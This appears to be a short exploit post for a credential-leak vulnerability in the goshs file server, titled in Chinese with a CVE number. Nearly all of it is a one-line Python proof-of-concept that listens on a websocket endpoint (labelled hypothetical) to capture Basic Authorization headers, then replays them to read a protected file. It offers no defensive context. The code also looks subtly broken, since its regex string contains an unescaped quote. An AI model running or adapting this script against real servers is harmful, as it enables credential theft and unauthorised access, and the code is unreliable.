CVE-2026-40885 goshs凭证泄露漏洞

import asyncio import websockets import requests import re TARGET_URL = "http://target-server:port" WS_URL = "ws://target-server:port/.goshs/ws" # Hypothetical WebSocket endpoint PROTECTED_PATH = "/.goshs-protected/secret.txt" async def steal_credentials(): """Connect to the collaborator websocket to capture Authorization headers.""" async with websockets.connect(WS_URL) as websocket: print("[+] Listening for requests on collaborator channel...") while True: try: message = await websocket.recv() print(f"[+] Received packet: {message[:100]}...") # Extract Basic Auth token (e.g., "Basic base64string") match = re.search(r"Authorization: (Basic [^"]+)", message) if match: print(f"[!] Credentials captured: {match.group(1)}") return match.group(1) except Exception as e: print(f"[-] Error: {e}") break return None def exploit_poc(auth_header): """Replay the captured credentials to access protected files.""" headers = { "Authorization": auth_header } full_url = f"{TARGET_URL}{PROTECTED_PATH}" print(f"[*] Attempting to access {full_url} with stolen credentials...") response = requests.get(full_url, headers=headers) if response.status_code == 200: print(f"[!] SUCCESS: Access granted.") print(f"[!] File Content: {response.text}") else: print(f"[-] Failed: Status code {response.status_code}") if __name__ == "__main__": # Run the exploit chain creds = asyncio.get_event_loop().run_until_complete(steal_credentials()) if creds: exploit_poc(creds)